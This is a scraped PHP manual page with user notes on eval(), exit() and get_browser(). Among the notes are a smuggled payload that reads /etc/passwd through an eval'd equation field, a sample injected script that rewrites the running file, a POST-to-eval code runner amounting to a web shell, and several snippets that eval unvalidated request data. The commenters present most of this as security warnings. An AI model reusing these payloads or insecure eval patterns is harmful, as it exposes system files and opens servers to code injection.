Examples of misguided attempts at securing code with eval include base64[en|de]code and url[en|de]code, but regardless of your encoding/decoding skills and functions, replacing eval with echo will get the code back in all functions of this sort.
aleosha at yandex dot ru
10-Mar-2006 09:43
There's a minor mistake in example that shows how to correctly use EVAL with IF statements.

Instead of
$str="\$refer=&\$total".$i.";";
eval($str);
Wich just puts value "total2" in your $refer variable, you should  use
$str="\$refer=&\$$total".$i.";";
This one will create the real referrer to the value of $total2 (5, in our case).
jnavratil at houston dot rr dot com
25-Feb-2006 07:39
"A return statement will terminate the evaluation of the string immediately. As of PHP 4, eval() returns NULL unless return is called in the evaluated code, in which case the value passed to return is returned." isn't strictly true as the eval can return a value through the side-effect of setting a variable.

<?php
function getValue()
{
   return 123;
}

function testEval1()
{
   eval('return getValue();');
}

function testEval2()
{
   eval('$rslt = getValue();');
   return $rslt;
}

function testEval3()
{
   return eval('return getValue();');
}

function testEval4()
{
   return eval('getValue();');
}

print '1:'.testEval1()."\n";
print '2:'.testEval2()."\n";
print '3:'.testEval3()."\n";
print '4:'.testEval4()."\n";
?>

results in...

1:
2:123
3:123
4:

In case 1, the eval returns the result to an uncaring caller (contra: case 3).  In case 2, the eval makes the result available through the side-effect of setting '$rslt'.  In case 4, 'eval' returns null to an apparently caring caller (contra: case 1).
apmuthu at usa dot net
24-Feb-2006 01:02
Ref: Nick - SafireX, TfM, Nick Johnson - Pixelrific
Generic eval function

Replace the line:-
$string = preg_replace("/<\?=\s+(.*?)\s+\?>/", "<? echo $1; ?>", $string);
with
$string = preg_replace("/<\?=\s*(.*?)\s*\?>/", "<? echo $1; ?>", $string);

The "\s*" in the two places will enable 0 or more white spaces to exist after the "=" instead of the existing "\s+" which enables only 1 or more white spaces.

Also instead of using the eval function in the return statement of the function, it would be better to return only the string ready to perform eval and then do the eval in the main program where the scope and visibility of variables are known.
nick at hmsonline dot co dot uk
17-Feb-2006 12:22
Just a quick note on the functions below that use 'eval_mixed_helper' using add/remove slash do not work if the content includes PHP like code. Using base64 encode/decode solves this.

E.g.

function eval_mixed_helper($arr)
{
   return ('echo base64_decode("'.base64_encode($arr[1]).'");');
}
karig at karig dot net
01-Feb-2006 01:10
OK, here's what I've found to work for me:

Let's say I have a string like this, pulled from a much larger file:

$text = "<p>The following is generated by PHP:</p>\n"
   . '<?php $a = 6; $b = 4; $c = $a + $b; '
   . 'echo "<p>Variable c = $c</p>\n"; ?>'
   . "<p>This is just more text.</p>\n";

Doing this just echoes the PHP code (so a visitor can actually read it by viewing the web page's source) instead of executing it:

echo $text;

I wanted to have the PHP code in the text executed, so that the /result/ is echoed, and the code itself is not. Happily, all I needed to do to get this to work for me was this:

ob_start();
eval ('?>' . $text);
$text = ob_get_clean();
// Do whatever else you want with $text before outputting it
echo $text;

That little '?>' prepended to $text (suggested by a previous note here) seems to be the key. Note that I DON'T append a corresponding '<?php' to $text, as a previous note suggested; I tried that, and I got an error. But I've found that "eval ('?>' . $text);" works:

---- OUTPUT ----

The following is generated by PHP:

Variable c = 10

This is just more text.

---- HTML REVEALED IN WEB-PAGE SOURCE ----

<p>The following is generated by PHP:</p>
<p>Variable c = 10</p>
<p>This is just more text.</p>
jkuckartz1984 at hotmail dot com
29-Jan-2006 08:01
Might you have to do eval in if statements, you will find it's quite some task to make it work.

The only way to make it work is to make a reference to the eval'd variable. This example will show the different usage of eval in if-statements. It simply becomes clear that an eval() in an if() is not working as you want to.

<?php
$total2=5;
$total3=0;
$i=2;
if (eval("\$total".$i.";")) {
   echo "eval: total2 is full<br>";
} else {
   echo "eval: total2 is empty<br>";
}
// returns "empty"
// eval without the ";" will generate a warning

$str="\$refer=&\$total".$i.";";
eval($str);
if ($refer) {
   echo "eval: total2 is full<br>";
} else {
   echo "eval: total2 is empty<br>";
}
// returns "full"
?>
Sarangan Thuraisingham
21-Jan-2006 09:47
The eval function can be misused for Cross Site Scripting(XSS) as well. Les say we have this very trivial page that allows a user to enter a text and see it formated using different styles. If the site designer was lazy and used eval function to come up with somethig like this:
<?php
$mytxt = $_GET["text"];
$strFormats = array( '<h1>$mytxt</h1>',
                     '<h2>$mytxt</h2>',
                     '<span class="style1">$mytxt</span>'); //so on

foreach ($strFormats as $style){
   eval("echo $style;");
}
?>
This page could be a target for XSS, because user input is not validated. So the hacker could enter any valid PHP commands and the site will execute it. Imagine what could happen if the injected script reads files like config.php and passed it to the hacker's site.

If the file permissions are not set correctly, the injected script could modify the current script. A form's action parameter can be set to a hacker's site or worse every transaction could be secretly posted to another website from within the server. Injected script could be something like this:
<?php
$filename=basename($_SERVER['PHP_SELF']);
$fp = fopen($filename, "a");
$str = echo "<!-- XSS Vulnerability-->"; // could be any PHP command
fwrite($fp, $str);
fclose($fp);
?>

The golden rule is don't trust the user. Always validate data from the client side.
jurgen at person dot be
19-Dec-2005 01:27
eval() is used to protect (read: hide) source code. A well known way to encrypt some php code is security through obscurity.  Someone used eval(base64_encode(".....")); - which basically had 10-16 nested calls to eval(base64_encode()) inside the data.

E.g.
<?
eval(gzinflate(base64_decode('AjHRawIHG1ypUpudV.....')));
?>

However this can be decoded in this way:
<?
   echo "\nDECODE nested eval(gzinflate()) by DEBO Jurgen <jurgen@person.be>\n\n";

   echo "1. Reading coded.txt\n";
   $fp1      = fopen ("coded.txt", "r");
   $contents = fread ($fp1, filesize ("coded.txt"));
   fclose($fp1);

   echo "2. Decoding\n";
   while (preg_match("/eval\(gzinflate/",$contents)) {
       $contents=preg_replace("/<\?|\?>/", "", $contents);
       eval(preg_replace("/eval/", "\$contents=", $contents));
   }

   echo "3. Writing decoded.txt\n";
   $fp2 = fopen("decoded.txt","w");
   fwrite($fp2, trim($contents));
   fclose($fp2);
?>
onlyphp
24-Nov-2005 10:59
To simulate the register_globals setting in php.ini, you must put it in the top of your php page:

function rg() {
  $ar = array($_POST, $_GET, $_SESSION, $_SERVER);
  foreach($ar as $ar_) {
   foreach($ar_as $key => $value) {
     eval("\$" . $key . " = \"" . $value . "\";");
   }
  }
}
matt at mattsoft dot net
11-Sep-2005 01:23
to load a php file to a variable then execute it, try this

<?php
$code=file_get_contents("file.php");
$code=str_replace('<'.'?php','<'.'?',$code);
$code='?'.'>'.trim($code).'<'.'?';
eval($code);
?>

using < ?php within eval does not work, but < ? does. in case there is html in the file loaded, the script doesn't remove the < ?php and ? >, but insted adds ? > and < ? around the code loaded from the file. it's simple and works very well. I also broke up the tags in the 3rd and 4th lines of code to keep from having problems if the lines are commented out.
sadi at unicornsoftbd dot com
03-Sep-2005 09:49
I m going to give you my recent exploration about eval. I think you dont need all those complex functions using regex to work HTML in your code. when ever you call eval(), php thinks that it is within <? ?> tags. so all the problem rises. to solve the problem just close your php tag at first of the HTML string, then write the HTML string and then start the php tag.
this is some thing like:
<?php
$teststr="?><html><body>this is the test</body></html><?php";
eval($teststr);
?>

i think this will work for you. at least this worked for me. if you find any problem with this please reply
Nick Johnson - Pixelrific
01-Sep-2005 12:43
In reference to Nick's functions below (which didnt work for me as is) and TfM's comment, this is fixed with a simple change to the pattern used by preg_replace_callback.  The pattern should be changed from

/\?>((.|\n)*?)<\?/

to

/\?>((.|\n)*?)<\?(php)?/

Making that small change will remove a "php" that is leftover in the string to be evaled, which eval trips on and complains about.
TfM
26-Aug-2005 08:06
Nick, I needed to replace "<?php" with "<?" before feeding the string to preg_replace_callback to make it work with recursive includes. Nice code anyway :)
Nick - SafireX
24-Aug-2005 07:26
This function will take any combination of HTML and (properly opened and closed)PHP that is given in a string, and return a value that is the HTML and the RESULT of that PHP code and return them both combined in the order that they were originally written.

This is a correction of an earlier script.
In the earlier varsion the preg_replace_callback search pattern was incorrect and wouldn't allow line breaks within the HTML sections.

I have also included a line to change shorthand <?= $var ?> to <? echo $var; ?>

This code is basicaly a version of the 'include' function which can be run on variables instead of files. Optionaly output can be captured using output buffering.

<?

function eval_mixed_helper($arr){
  return ("echo stripslashes(\"".addslashes($arr[1])."\");");
  }

function eval_mixed($string){
  $string = "<? ?>".$string."<? ?>";
  $string = preg_replace("/<\?=\s+(.*?)\s+\?>/", "<? echo $1; ?>", $string);
  $string = str_replace('?>', '', str_replace( array('<?php', '<?'), '', preg_replace_callback( "/\?>((.|\n)*?)<\?/","eval_mixed_helper",$string) ) );
  return eval($string);
  }

// output to browser
eval_mixed($string);

// output to variable
ob_start();
eval_mixed($string);
$final_html = ob_get_clean();

?>
zcox522 at gmail dot com
18-Aug-2005 03:03
If you send headers after you call the eval() function, you may get this error:

PHP Error: (2) Cannot modify header information - headers already sent by (output started at something...)

In this case, surround your call to eval() with calls to some ob functions:

<?php
$eval = "some code you want to execute";

ob_start();
eval($eval);
ob_end_clean();
?>
admiral [at] nuclearpixel [dot] com
16-Aug-2005 04:02
This function will take any combination of HTML and (properly opened and closed)PHP that is given in a string, and return a value that is the HTML and the RESULT of that PHP code and return them both combined in the order that they were originally written.

I tried using both the eval_html(gave me carp about using 's and "s in the HTML) and html_eval2(gave me the results of the PHP first, then all of the HTML afterwards) posted by the other users on this function's notes, but for some reason, neither of them would really work the way I had understood that they would work,(or in the case of some of my code, work at all)

So I combined the best of what I saw in both, and created eval_html3

<?php

function my_eval($arr) {
   return ('echo stripslashes("'.addslashes($arr[0]).'");');
}

function eval_html3($string) {
   $string = '<?php ?>'.$string.'<?php ?>';
   $string = str_replace( '?>', '', str_replace( array( '<?php', '<?' ), '', preg_replace_callback( "/\?>(.*?)(<\?php|<\?)/", "my_eval", $string ) ) );
   return eval($string);
}

?>

Good luck!
jphansen at uga dot edu
09-Aug-2005 03:43
I used eval() to restore a user's session data. I stored $_SESSION to a field in a database as

<?
addslashes(var_export($_SESSION, TRUE))
?>

To restore it, I executed this code:

<?
eval("\$_SESSION = $session;");
// $session being the first line of code above
?>

Voila! Session restored.

Without eval(), $_SESSION = $session would have resulted in $_SESSION being a string instead of an array.
alexandrebr at ignorethis dot gmail dot com
08-Aug-2005 09:32
Like said before, use of 'eval' is not recommended, by the security issues.

A good use of eval, is to test your codes without having to create/save files on the hard drive.

You may want to create the script below, and send to your server, to help you to manage your database, for example...

<?
if(isset($_POST["code"])){
  $code = get_magic_quotes_gpc()?
   stripslashes($_POST["code"]):
   $_POST["code"];

  eval("?>".$code);
}
else{
  echo "<form method='post' action='eval.php'>";
  echo "<textarea name='code'></textarea><br>";
  echo "<input type='submit' value='Test the code above'>";
  echo "</form>";
}
?>

With this, you can easily exec PHP codes on your site, without having to connect to the FTP and uploading files.....

Even tests with extensions like PHP_GD are allowed.

WARNING: If you wish to use the example above, PUT A PASSWORD PROTECTION! The function EVAL gives fully access to your site, so be careful.
the dank
30-Jul-2005 07:26
$foo1 = "the good,<br>";
$foo2 = "the bad,<br>";
$foo3 = "the ugly.";

for ($i=1; $i <=3; $i++)
{
     eval("\$_SESSION['myVar$i'] = \$foo".$i.";");
}

//use below to show what's in session:

echo "<h3>SESSION</h3>";
echo "<table border=1 width=50%>";
echo "<tr bgcolor=\"#3399FF\">";
echo "<td><b><font color=\"#FFFFFF\">Variable Name</font></b></td>";
echo "<td><b><font color=\"#FFFFFF\">Value</font></b></td></tr>";
while(list($key, $val) = each($_SESSION))
{
   echo "<tr><td>$key</td><td><b>$val</b></td></tr>";
}
echo "</table>";
die();

/*---------------------------------------------------------
Prints:
myVar1    the good,
myVar2    the bad,
myVar3    the ugly.
*/
privat at timo-damm dot de
29-Jul-2005 04:03
Using the html_eval() some notes above I experienced problems related to *dirty* html. This function is less critical:

function html_eval2($string) {
  return preg_replace_callback("/<\?php(.*?)\?>/","my_eval",$string);
}

function my_eval($arr) {
  return eval($arr[1]);
}

Timo
license_to_il
26-Jul-2005 03:44
// the array in my code
$my_ar    =    array(2,3,4,5);

// eval in code or pulled from db
eval("print_r(\$my_ar);");

output:
Array ( [0] => 2 [1] => 3 [2] => 4 [3] => 5 )
macronesia at macronesia dot com
03-Jul-2005 08:35
Instead of using eval for template logic, use str_replace to replace variables with proper code, such as XHTML.
andrejkw
24-Jun-2005 08:50
To use eval output as a variable without the user seeing the output, use this:

<?php

ob_start();
eval("whatever you want");
$eval_buffer = ob_get_contents();
ob_end_clean();

echo $eval_buffer;

?>

Everything that eval produces will now be stored inside $eval_buffer.
Jesse
19-Jun-2005 04:25
a cool way to use eval is to convert strings into variable names.
this is a subsitute for using arrays.
look at this code:
<?php
for($a=1; $a<=5; $a++){
   eval("$"."variable".$a."=".$a.";");
}
?>
this will create variables called variable1, variable2, and so on, that are equal to 1, 2, and so on.
i recently used this to help a friend make a Flash game that sent variables like that to PHP.
1413 at blargh dot com
10-Jun-2005 03:58
Just a note when using eval and expecting return values - the eval()'ed string must do the returning.  Take the following example script:

<?php

function ReturnArray()
{
  return array("foo"=>1, "bar"=>2);
}

$test = eval("ReturnArray();");
print("Got back $test (".count($test).")\n");

$test = eval("return ReturnArray();");
print("Got back $test (".count($test).")\n");

?>

You will get back:

Got back  (0)
Got back Array (2)

This ran me afoul for a little bit, but is the way eval() is supposed to work (eval is evaluating a new PHP script).
jtraenkner
11-Apr-2005 12:11
Using eval inside loops is very slow, so try avoiding code like
<?php
for($i=0;$i<10;$i++) {
   eval('do_something()');
}
?>

If you absolutely have to, include the entire loop in eval:
<?php
eval('for($i=0;$i<10;$i++) {'.
   'do_something();'.
   '}');
?>
tom
29-Mar-2005 03:59
Eval can't be used as a callback function so if you want to use the eval function name dynamically use this simple work around:

<?

if ($function_name == "eval")
{
 eval($stuff);
}
else
{
 $function_name($stuff);
}

?>
Ben Grabkowitz
27-Mar-2005 10:57
The eval function becomes incredibly useful when dealing with static class members and variables.

For instance:

Lets say you have 3 classes; Foo, BarA and BarB, where BarA and BarB are children of Foo.

Now lets also say that both BarA and BarB contain a static member function called getDataSource().

To call getDataSource() you would have to use the syntax:

BarA::getDataSource();
BarB::getDataSource();

But lets say you need to access getDataSource() from inside class Foo during an instance of either BarA or BarB.

You can use eval to do something like this:
eval('$dataSource=' . get_class($this) . '::getDataSource();');
francois at bonzon dot com
28-Feb-2005 11:20
An obvious security reminder, which I think wasn't yet mentioned here. Special care is required when variables entered by the user are passed to the eval() function. You should validate those user inputs, and really make sure they have the format you expect.

E.g., if you evaluate math expressions with something like

<?php
  eval("\$result = $equation;");
?>

without any check on the $equation variable, a bad user could enter in the $equation field

""; echo file_get_contents('/etc/passwd')

- or whatever PHP code he wants! - which would evaluate to

<?php
  $result = ""; echo file_get_contents('/etc/passwd');
?>

and seriously compromising your security!
avenger at buynet dot com dot br
09-Feb-2005 12:52
This is a small code that uses 'eval' with a foreach (maybe 'for' loop), to fill variables. This is very useful in some hard situations:

<html><title>for loop</title><body><p align=center>
 <?php
  $thing = array("a","b","c");
  $a = "bah" ; $b = "bleh2"; $c = "bluh3";
  print("Vars b4: $a, $b, $c. ");
  foreach ( $thing as $thingy ) {
   print("$thingy, ");
   eval("\$$thingy = \"$thingy\";");
  };
  print("vars aft: $a, $b, $c.");
 ?>
</p></body></html>
critmas at hotmail dot com
09-Feb-2005 04:46
I am using the eval(String) function as an alternate to processing instructions for XML code.
i.e.
<tag>something that I $need</tag>
when I read the value of the node (using DOM)
I ask php to evaluate the line for me to replace the value of $need.

Might be a hack, comments welcome
mat.wilmots (at) wanadoo (dot) fr
21-Jan-2005 10:16
Just a little note : eval is not a function.
Something like this

<?php
register_tick_function('eval', array('break;'));
declare(ticks=1)
{
   while(true)
   {
         echo "Not broken yet\n";
   }
}

?>

doesn't work, it says
Unable to call eval() - function does not exist
jasperbg at gmail dot com
04-Jan-2005 02:09
There's a much easier way to dynamically load PHP pages:

eval('?>' . $the_page . '<?php ');

where $the_page is a standard PHP page with <?php ... ?> tags around the portions to be parsed.
arnico at c4 dot lv
21-Dec-2004 07:28
Dynamically loading php pages!
In michael example ( 02-Sep-2004 05:16) is one big problem. Try to load php page with this content :
-----------------------
<?php

$a = 1;

if($a == 1){

?>
<br />ir?<br />
<?php

}

?>
------------------------

Ups? :) maybe easier way is to do something like that ? please comments :
<?php

function eval_html($string) {

   $string = preg_replace("/\?>(.*?)(<\?php|<\?)/si", "echo \"\\1\";",$string);
   $string = str_replace("<?php", "", $string);
   $string = str_replace("?>", "", $string);
   return eval($string);
}

$filename = "page.php";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);

echo eval_html($contents);

?>

The html source will be replaced with echo. and problem is gone :) or there are other problems ? please comments.

P.S. sorry about my bad English
Amedeo
09-Dec-2004 04:00
It's more easy to write the code to be evaluated if you put it between single quotes:

<?php
   $var = "aaa";
   $i = 4;
   $code = '$ARGS[$i]["GID"] = $var;';
   eval($code);
   echo ("<pre>");
   print_r($ARGS);
   echo ("</pre>");
?>

Which will output

Array
(
   [4] => Array
       (
           [GID] => aaa
       )
)
mahaixing at hotmail dot com
09-Oct-2004 11:49
When using Dynamic Proxy design pattern we must create a class automaticly. Here is a sample code.

$clazz = "class SomeClass { var \$value = 'somevalue'; function show() { echo get_class(\$this);}}";

eval($clazz);

$instance = new SomeClass;

// Here output 'somevalue';
echo $instance->value;

echo "<br>";

//Here output 'someclass'
$instance->show();
evildictaitor at hotmail dot com
16-Aug-2004 04:00
Be careful when using eval() on heavy usage sites in PHP 4.0+ as it takes vastly longer to activate due to the limitations of the Zend engine.

The Zend engine changes the PHP to a binary structure at the START of the file, and then parses it. Every time an eval is called, however, it has to reactivate the parsing procedure and convert the eval()'d code into usable binary format again.

Basically, if you eval() code, it takes as long as calling a new php page with the same code inside.
13-Jul-2004 12:37
Kepp the following Quote in mind:

If eval() is the answer, you're almost certainly asking the
wrong question. -- Rasmus Lerdorf, BDFL of PHP
info [at] derosetechnologies [dot] com
13-Jun-2004 08:15
"Bart Koelman"  's  example above (OutputPhpDocument), though thouroughly functional , would benefit by using the "extract()" function in lieu of his variable exporting  solution. I.e.:
<?
  reset ($GLOBALS);
  while (list ($key, $val) = each ($GLOBALS))
  {
   eval("\$" . "\$key = \"$val\";");
  }
?>

Can be replaced with a single line:
<?extract($GLOBALS, EXTR_SKIP | EXTR_REFS);?>

Addtionally, this latter alternative will load the global variables as references instead of 'copies'. (Meaning that if a value is altered inside the function ,  that modification will also be effected outside of the OutputPhpDocument() function.
Mark Aufflick (mark at pumptheory dot com)
18-Nov-2003 01:49
Based on the excellent example by olivier at revenu dot nom dot fr, I have extended it to allow the <?= ... ?> tagged style of embedded php code:

<?php

function eval_buffer($string) {
   ob_start();
   eval("$string[2];");
   $return = ob_get_contents();
   ob_end_clean();
   return $return;
}

function eval_print_buffer($string) {
   ob_start();
   eval("print $string[2];");
   $return = ob_get_contents();
   ob_end_clean();
   return $return;
}

function eval_html($string) {
   $string = preg_replace_callback("/(<\?=)(.*?)\?>/si",
                                   "eval_print_buffer",$string);
   return preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",
                                 "eval_buffer",$string);
}

?>
David Schumann
05-Nov-2003 03:17
To evaluate math expressions (multiply, divide, addition, subtraction, percentages), use the following function, based on Taras Young's 'evalsum' function posted earlier:

function matheval($equation){
       $equation = preg_replace("/[^0-9+\-.*\/()%]/","",$equation);
       $equation = preg_replace("/([+-])([0-9]+)(%)/","*(1\$1.\$2)",$equation);
       // you could use str_replace on this next line
       // if you really, really want to fine-tune this equation
       $equation = preg_replace("/([0-9]+)(%)/",".\$1",$equation);
       if ( $equation == "" ) {
               $return = 0;
       } else {
               eval("\$return=" . $equation . ";");
       }
       return $return;
}

You could easily extend this to include exponents, square roots, or really any other mathematical function. I use it in a 'price each' field on a purchase order form. The user can type in '$10.00-25%' and get 7.50 as the result.
G Systemacher
15-May-2003 12:10
An example of eval within a function within a class sitting on PEAR DB whose purpose is to push onto a result array named: result_ appended with a parameter key.

function set_result_array($fn_request_key = '[DEFAULT]', $fn_result) {
   $target_array_string = 'result_'.$fn_request_key;
//    eval ("global \$\$target_array_string;");
   eval("\$target_array =& this->\$target_array_string;");
   if (!is_array($target_array)) { $target_array = array(); }
   return array_push($target_array, $fn_result);
}

What does this illustrate? An example of using eval to create a reference to an object member by reference (=&).

The eval ("global ....)  line is commented out as I couldn't get this to work for some reason.
Smooth
28-Jan-2003 04:53
/* It seems that eval() won't return by reference: */

function &get_ref ($var) {
  ...
  return $reference;
}

/* The following code returns a parse error                  */
/* (expecting `T_NEW' or `T_STRING' or `T_VARIABLE' or `'$'') */

$r =& eval ('return get_ref ($v);');

/* But thinking "inside the box" you can always do this... */

eval ('$r =&  get_ref ($v);');

(I'm using PHP Version 4.2.3)
barry at sanyuan dot com dot au
09-Dec-2002 10:03
Almost driving me to the ends of insanity i found the scripts above for eval html with php inside would not work on strings like :

<?php for($i=1; $i < 7; $i++) { ?>

<?php echo $i; ?>

additional html here

<? } ?>

In the end, as another option for executing string with both html and php was with tmpnam... eg.

   $tmpfname = tempnam ("/tmp", "FOO");
   $fp = fopen($tmpfname, "w");
   fwrite($fp, $CONTENT[tpl_body]);
   fclose($fp);
   include($tmpfname);
   unlink($tmpfname);

It works perfectly for me and is an alternative to eval for php and html.
olivier at revenu dot nom dot fr
09-Jul-2002 12:44
Here an improved function of evalHTML discussed above (see brandon@louish.net or nathan vonnahme).

I do some bench with a multi-line string contain php code <?echo "hello" ?> :

for 1200 eval/replace => proceed 10 times faster
for 12 eval/replace => proceed 3 times faster

function also support both <? and <?php style... enjoy !

** BEGIN **

function eval_buffer($string) {
   ob_start();
   eval("$string[2];");
   $ret = ob_get_contents();
   ob_end_clean();
   return $ret;
}

function eval_html($string) {
   return preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",
"eval_buffer",$string);
}

** END **
?>
for older php version (< 4.0.5), it also possible to do it with preg_replace but it's a little slower (20 %) :

** BEGIN **

function eval_buffer($string) {
   ob_start();
   eval(stripslashes("$string;"));
   $string = ob_get_contents();
   ob_end_clean();
   return $string;
}

function eval_html($string) {
   return preg_replace("/(<\?php|<\?)(.*?)\?>/sie",
"eval_buffer('\\2')",$string);
}

** END **
add a note add a note

后退 | 起点 | 前进
die | 上一级 | exit


exit

(PHP 3, PHP 4, PHP 5)

exit -- Output a message and terminate the current script

Description

void exit ( [string status] )

void exit ( int status )

注: This is not a real function, but a language construct.

注: PHP >= 4.2.0 does NOT print the status if it is an integer.

The exit() function terminates execution of the script. It prints status just before exiting.

If status is an integer, that value will also be used as the exit status. Exit statuses should be in the range 0 to 254, the exit status 255 is reserved by PHP and shall not be used. The status 0 is used to terminate the program successfully.

例子 1. exit() example

<?php

$filename = '/path/to/data-file';
$file = fopen($filename, 'r')
    or exit("unable to open file ($filename)");

?>

例子 2. exit() status example

<?php

//exit program normally
exit;
exit();
exit(0);

//exit with an error code
exit(1);
exit(0376); //octal

?>

注: The die() function is an alias for exit().

See also: register_shutdown_function().

add a note add a note User Contributed Notes
Roumen Semov
17-Feb-2006 03:54
Please note in PHP "exit(0)" or simply "exit" returns true.
Any other value but zero will return false. This is good to know in case you are writing command-line php scripts where you need the result of the php script to determine if the next script will run. Example:
shell> ./my_php_script && echo "It ran successfully!"
If you know my_php_script can break somewhere you could do a conditional with an "exit(-1)" and then if the script breaks the command after the && will not execute.
09-Feb-2006 09:26
The note above is irrelevant, because a simple "return" would  abort the template included by include or include_once!
francois at bonzon dot com
25-May-2005 09:42
With output buffering on, when sending headers that shouldn't have any data after them, be sure to erase the buffer before exit()ing the script! Like this:

<?php
ob_clean();
exit();
?>

If you don't erase the buffer, in case it was not empty, after sending the headers PHP will still send the buffer content to the browser.

I had Firefox show strange behavior with some of my pages, that it took me quite some time to debug. It was simply because my script was returning 304 Not Modified headers along with the start of an HTML page.
chris at artimador dot com
26-Nov-2004 03:01
When using php as a SHELL scripting language, use die() instead of exit(). If using exit in php5, the script will continue to processes conditionals and other shell_exec functions after the die command.
nospam at mydomain dot com
27-Sep-2004 05:12
Using return instead of exit is to prefer when you want the script that you have included inside another script to die but continue to execute the main script.
// Radcliff
emils at tvnet dot lv
23-Aug-2003 11:14
Note, that using exit() will explicitly cause Roxen webserver to die, if PHP is used as Roxen SAPI module. There is no known workaround for that, except not to use exit(). CGI versions of PHP are not affected.
mbostrom at paragee dot com
27-Feb-2003 04:45
In PHP 4.3.1 (and possibly 4.3.0), running scripts from the command line works a lot better.  This is probably because 4.3.x has a whole new CLI mode.

Specifically, exit status is now returned (to the shell) as you would expect.  This is a godsend for writing embedded email processing scripts, as much email infrastructure (fetchmail, qmail, mutt, etc.) is dependant upon correctly returned status codes, and the inability to return a status code (as in PHP 4.2.x) is an insurmountable obstacle.

$_SERVER["argv"] is also always available in 4.3.x, I think, whereas in 4.2.x php.ini could prevent it from being available.

(On the downside, I had to ./configure --without-mysql in order to get 4.3.1 to compile on RedHat 8.0.  Otherwise there was what looked like a fatal compile warning (that I might also have been able to ignore somehow).

The "fatal warning" FYI:
ext/mysql/libmysql/my_tempnam.o: In function `my_tempnam':
ext/mysql/libmysql/my_tempnam.c:103: the use of `tempnam' is dangerous, better use `mkstemp'

Changing the code from tempnam to mkstemp would probably not be overly complicated, but it is non-trivial.)
shaun at NOshatSPAM dot net
09-Aug-2002 07:13
return may be preferable to exit in certain situations, especially when dealing with the PHP binary and the shell.

I have a script which is the recipient of a mail alias, i.e. mail sent to that alias is piped to the script instead of being delivered to a mailbox. Using exit in this script resulted in the sender of the email getting a delivery failure notice. This was not the desired behavior, I wanted to silently discard messages which did not satisfy the script's requirements.

After several hours of trying to figure out what integer value I should pass to exit() to satisfy sendmail, I tried using return instead of exit. Worked like a charm. Sendmail didn't like exit but it was perfectly happy with return. So, if you're running into trouble with exit and other system binaries, try using return instead.
iamfast at tampabay dot rr dot com
14-Jul-2002 11:12
If you are working with images or something of the sort that is not html, and use auto appending, call exit before you close your php tag, so that the footer is not included, corrupting the end of the file.
--Nate
devinemke at devinemke dot com
11-Jan-2002 04:38
If you are using templates with numerous includes then exit() will end you script and your template will not complete (no </table>, </body>, </html> etc...).  Rather than having complex nested conditional logic within your content, just create a "footer.php" file that closes all of your HTML and if you want to exit out of a script just include() the footer before you exit().

for example:

include ('header.php');
blah blah blah
if (!$mysql_connect) {
echo "unable to connect";
include ('footer.php');
exit;
}
blah blah blah
include ('footer.php');
add a note add a note

后退 | 起点 | 前进
eval | 上一级 | get_browser


get_browser

(PHP 3, PHP 4, PHP 5)

get_browser -- Tells what the user's browser is capable of

Description

mixed get_browser ( [string user_agent [, bool return_array]] )

get_browser() attempts to determine the capabilities of the user's browser. This is done by looking up the browser's information in the browscap.ini file.

By default, the value of $_SERVER['HTTP_USER_AGENT'] is used; however, you can alter this (i.e., look up another browser's info) by passing the optional user_agent parameter to get_browser(). You can bypass user_agent parameter with NULL value.

The information is returned in an object, which will contain various data elements representing, for instance, the browser's major and minor version numbers and ID string; TRUE/FALSE values for features such as frames, JavaScript, and cookies; and so forth.

As of PHP 4.3.2, if the optional parameter return_array is TRUE, this function will return an array instead of an object.

例子 1. Listing all information about the users browser

<?php
echo $_SERVER['HTTP_USER_AGENT'] . "\n\n";

$browser = get_browser(null, true);
print_r($browser);
?>

上例的输出类似于：

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3

Array
(
    [browser_name_regex] => ^mozilla/5\.0 (windows; .; windows nt 5\.1; .*rv:.*) gecko/.* firefox/0\.9.*$
    [browser_name_pattern] => Mozilla/5.0 (Windows; ?; Windows NT 5.1; *rv:*) Gecko/* Firefox/0.9*
    [parent] => Firefox 0.9
    [platform] => WinXP
    [browser] => Firefox
    [version] => 0.9
    [majorver] => 0
    [minorver] => 9
    [css] => 2
    [frames] => 1
    [iframes] => 1
    [tables] => 1
    [cookies] => 1
    [backgroundsounds] =>
    [vbscript] =>
    [javascript] => 1
    [javaapplets] => 1
    [activexcontrols] =>
    [cdf] =>
    [aol] =>
    [beta] => 1
    [win16] =>
    [crawler] =>
    [stripper] =>
    [wap] =>
    [netclr] =>
)

The cookies value simply means that the browser itself is capable of accepting cookies and does not mean the user has enabled the browser to accept cookies or not. The only way to test if cookies are accepted is to set one with setcookie(), reload, and check for the value.

注: In order for this to work, your browscap configuration setting in php.ini must point to the correct location of the browscap.ini file on your system.

browscap.ini is not bundled with PHP, but you may find an up-to-date php_browscap.ini file here.

While browscap.ini contains information on many browsers, it relies on user updates to keep the database current. The format of the file is fairly self-explanatory.

add a note add a note User Contributed Notes
steven Cambridge UK
16-Mar-2006 06:40
the function _get_browser() by fotos at uop dot gr has a few errors..well at least i had to change it to get it to work for me.
so...
$info[browser] = $parent;
$info[version] = $version;

becomes
$info['browser'] = $parent;
$info['version'] = $version;

and i use...
$browser = _get_browser();
if ($browser['browser'] == "MSIE").....
martin at boreal dot org dot uk
17-Dec-2005 06:03
Small comment regarding fotos at uop dot gr

the line:
$version = substr($_SERVER['HTTP_USER_AGENT'], $f, 5);
needs to be:
$version = substr($_SERVER['HTTP_USER_AGENT'], $f, 6);
for Firefox incremental updates to show up.
fotos at uop dot gr
22-Oct-2005 10:35
Regarding the code by steve (in Feb) and somewhat corrected by matt there is another ugly bug laying around:

Opera when set to report as IE returns the following header:
"Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC Mac OS X; en) Opera 8.5"

Well in the code given the last matching $browser in the array wins, and in this case the code reports "Mozilla" which is totally unexpected!

But Safari gives:
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5"

The solution I can think of is to first search for more specific browsers and then for more generic (also seems more reasonable). If something matches then we are done. But probably this is not a catch all solution, but a good starting point.

So the code becomes:
<?php
function _get_browser()
{
  $browser = array ( //reversed array
   "OPERA",
   "MSIE",            // parent
   "NETSCAPE",
   "FIREFOX",
   "SAFARI",
   "KONQUEROR",
   "MOZILLA"        // parent
  );

  $info[browser] = "OTHER";

  foreach ($browser as $parent)
  {
